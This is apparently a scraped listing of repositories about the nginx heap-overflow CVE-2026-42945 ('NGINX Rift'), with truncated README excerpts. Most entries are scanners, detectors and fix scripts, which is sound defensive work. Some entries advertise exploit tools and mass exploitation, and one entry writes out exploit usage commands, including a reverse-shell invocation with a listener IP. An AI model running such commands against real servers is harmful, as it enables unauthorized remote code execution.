nGixshell

nGixShell is an nginx CVE scanner and RCE exploit framework. It ships a working proof-of-concept for CVE-2026-42945 — a critical heap buffer overflow in ngxhttprewritemodule — and a scanner covering 53 nginx CVEs with automated HTTP probes, fingerprinting, WAF detection/bypass, web security...

nginx-rce-cve-2026-42945

5. CVE-2026-42945 - Critical NGINX RCE CVSS 9.2 Classification Category: 0-Day / Remote Code Execution CVE: CVE-2026-42945 CVSS: 9.2 Critical Date Discovered: May 12, 2026 Date Patched: May 2026 F5 quarterly security release Source: GitHub DepthFirstDisclosures/Nginx-Rift Vulnerability Details A...

nginx-rift-detect

nginx-rift-detect Behavioral detection script for CVE-2026-42945 NGINX Rift — a heap buffer overflow in ngxhttprewritemodule present in nginx since 2008. ⚠️ Disclaimer This tool is intended solely for authorized security testing and research. Only run this against systems you own or have explicit...

NGINX_RIFT_SCAN_CVE_2026_42945

NGINX Rift Config Scanner Language: 中文 | English This is a lightweight scanner for checking whether an NGINX configuration contains risky CVE-2026-42945, also known as NGINX Rift, and CVE-2026-9256 configuration patterns. The issue was disclosed by depthfirst in NGINX Rift: Achieving NGINX RCE vi...

Nginx_cve-2026-42945-scanner-gui

Ngxin cve-2026-42945-scanner-gui Necesita ejecutar jdk21version java -jar cve-2026-42945-scanner.... Escaneo masivo + explotación de vulnerabilidades con un clic Necesita jdk21 para ejecutarse Después de descomprimir, ejecuta java -jar cve-2026-42945-scanner.... Escaneo masivo + explotación de...

CVE-2026-42945-Reverse-Shell-POC

CVE-2026-42945 NGINX Rift RCE PoC with Reverse Shell Remote code execution proof-of-concept for CVE-2026-42945 , a heap buffer overflow in NGINX's ngxhttprewritemodule. This fork extends the public trigger PoC with an embedded reverse-shell listener and configurable exploitation parameters for CT...

Scanner_CVE_2026-42945

Scanner for detecting Nginx instances vulnerable to CVE-2026-42945 NGINX RIFT. Accepts individual IPs, CIDR ranges, and ASNs as input. About CVE-2026-42945 affects all Nginx versions prior to 1.30.1. The tool probes HTTP and HTTPS on default ports, reads the Server header from the response, and...

NGINX-Rift

NGINX Rift — Herramienta de escaneo y verificación de vulnerabilidades CVE-2026-42945 / CVE-2026-9256 NGINX Rift es una herramienta de código abierto de escaneo y verificación para CVE-2026-42945 y CVE-2026-9256 vulnerabilidades de desbordamiento de montón en el módulo ngxhttprewritemodule de...

nginx-rift-scanner

nginx-rift-scanner Dependency-free Python 3 scanner for CVE-2026-42945 "NGINX Rift" — a CVSS v4.0 9.2 CRITICAL heap-based buffer overflow CWE-122 in ngxhttprewritemodule. What it detects Two independent checks are run on every invocation:...

cve-2026-42945-scan

cve-2026-42945-scan Escáner estático para archivos de configuración de NGINX que detecta el patrón rewrite/set asociado con CVE-2026-42945. El escáner analiza configuraciones de NGINX con crossplane, recorre los bloques location e imprime cada ubicación que parezca afectada en este formato:...

CVE-2026-42945-NGINX-Rift-Check-Script

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ai-vuln-rediscovery-nginx-cve-2026-42945

AI辅助重新发现nginx中的CVE-2026-42945 本仓库记录了一个可复现的AI辅助漏洞重新发现实验，针对nginx的ngxhttprewritemodule，该漏洞后来被关联为CVE-2026-42945。 该实验刻意缩小范围。易受攻击的文件src/http/ngxhttpscript.c被直接提供给模型进行审计。这并非声称AI系统从头开始自主地在完整的nginx代码库中找到了该问题。 摘要 被审计的漏洞是一个由nginx重写处理中脚本引擎状态过时导致的堆缓冲区溢出。 在高层面上： 1. 一个包含?的rewrite替换会设置e-isargs = 1。 2...

nginx-rift-check

nginx-rift-check Finds configurations vulnerable to CVE-2026-42945 , the heap buffer overflow in nginx's ngxhttprewritemodule. Running an affected nginx version 0.6.27 through 1.30.0 is not enough to be exploitable. The configuration has to contain a specific pair of directives, and that pair is...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...

nginx-rift-detector

NGINX Rift Detector for CVE-2026-42945 Read-only Bash checker for owned NGINX servers. It helps an operator answer two questions after the CVE-2026-42945 disclosure: Is this server still running an exposed NGINX build or risky rewrite configuration? Do local logs show crash, long-URI, or encoding...

fix_nginx_cve_2026_42945

NGINX CVE-2026-42945 一键修复脚本 自动检测系统发行版，升级 NGINX 至修复版本 ≥1.30.1，并备份配置、自动回滚。 漏洞说明 漏洞编号： CVE-2026-42945 漏洞名称：NGINX Rift NGINX 在处理特定的 rewrite 跳转规则时，请求内容长度计算与实际写入不一致，攻击者可构造恶意请求触发内存破坏，导致工作进程崩溃，甚至远程代码执行。 受影响版本： 低于 NGINX 1.30.1 / 1.31.0 的所有版本 修复版本： NGINX 1.30.1 / 1.31.0 及以上 特性 自动发行版检测 — Ubuntu/Debian /...

CVE-2026-42945-nginx-rift

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CVE-2026-42945

This repository does not have a README...

CVE-2026-42945

CVE-2026-42945 PoC Go 中文 | English A detection and exploitation helper for nginx HTTP/2 CVE-2026-42945. Use it only in authorized environments to verify vulnerability presence, compare patched vs. vulnerable behavior, and reproduce PoC logic in a controlled lab. Affected versions heuristic: nginx...

nginx-cve-2026-42945

CVE-2026-42945 NGINX Rift — defensive scanner Organizations running NGINX Open Source , NGINX Plus , or NGINX-based ingress/controllers should verify whether they are affected by CVE-2026-42945 and patch or reconfigure before exploitation attempts hit production edges. This repository provides a...